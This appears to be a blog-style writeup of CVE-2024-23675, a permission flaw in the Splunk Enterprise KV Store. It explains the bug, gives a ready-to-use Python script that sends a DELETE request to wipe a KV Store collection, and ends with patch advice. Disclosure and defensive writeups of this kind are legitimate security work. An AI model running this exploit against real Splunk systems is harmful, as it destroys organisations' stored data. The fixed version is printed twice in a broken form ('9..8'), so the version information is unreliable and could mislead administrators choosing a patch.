CVE-2024-23675: Improper Permission Handling in Splunk Enterprise KV Store leading to Deletion of Collections

A critical vulnerability (CVE-2024-23675) has been reported in Splunk Enterprise versions below 9..8 and 9.1.3 affecting the key-value store (KV Store) component. This security issue is related to improper handling of permissions for users who interact with the REST API, which poses a risk of unintended deletion of KV Store collections. In this article, we will dive into the details of this vulnerability and provide code snippets, original reference links, and exploit methodologies.

Vulnerability Details

Splunk Enterprise software collects, indexes, and correlates real-time data in a searchable repository that enables generating graphs, reports, alerts, and visualizations. The KV Store in Splunk operates as a data storage system that provides the capability to store, retrieve, and update data records efficiently. This vulnerability occurs due to insufficient permission handling for users that utilize the REST API to interact with the KV Store.

The core issue is related to the "kvstore" REST endpoint. When a user interacts with this endpoint using the REST API, the Splunk KV Store fails to properly validate their permissions. Consequently, this misconfiguration might enable unauthorized users to bypass the intended access control mechanisms, resulting in the potential deletion of critical data records stored in the KV Store.

Exploit Method

In order to exploit this vulnerability, an attacker must have access to a user account that can utilize the REST API functionality in the targeted Splunk Enterprise environment. Here is a Python code snippet that demonstrates how an attacker might exploit this flaw:

import requests

# Target URL, including the vulnerable REST endpoint
url = 'https://target-splunk-instance:port/servicesNS/nobody/APP_NAME/storage/collections/config/KV_STORE_NAME';

# Login to your Splunk and get the "splunk_sess" and "splunkd_ port" cookies
cookies = {
    'splunk_sess': 'INSERT_YOUR_SPLUNK_SESS_COOKIE',
    'splunkd_port': 'INSERT_YOUR_SPLUNKD_PORT_COOKIE'
}

# Send the DELETE request
response = requests.delete(url, cookies=cookies, verify=False)

# Check the response status
if response.status_code == 200:
    print("Success: The KV Store collection has been deleted.")
else:
    print("Error: The request failed. Response status code:", response.status_code)

Please note that using this exploit code without proper authorization is illegal and unethical.

The exploit works by sending a simple HTTP DELETE request to the vulnerable REST endpoint. If successful, a response with a 200 HTTP status code will be received, confirming that the targeted KV Store collection has been deleted.

Original References

- Splunk Security Advisory: https://www.splunk.com/en_us/security-advisories/splunk/sa-2024.html
- CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-23675

Mitigation and Conclusion

If you are using a Splunk Enterprise version affected by this vulnerability, it is essential to update your system immediately to version 9..8 or 9.1.3, as these versions have addressed the improper permission handling flaw. Additionally, it is essential to enforce proper access control policies and limit the access to the REST API by following the principle of least privilege.

In conclusion, the CVE-2024-23675 vulnerability highlights the risks posed by improper permission handling within the Splunk Enterprise's KV Store component. As we have demonstrated, unauthorized users might exploit this flaw to delete crucial data collections, resulting in significant business disruption and potential data loss. Therefore, system administrators are advised to apply the necessary security updates to mitigate this vulnerability and avoid potential exploitation.

Timeline

Published on: 01/22/2024 21:15:10 UTC
Last modified on: 01/29/2024 18:04:13 UTC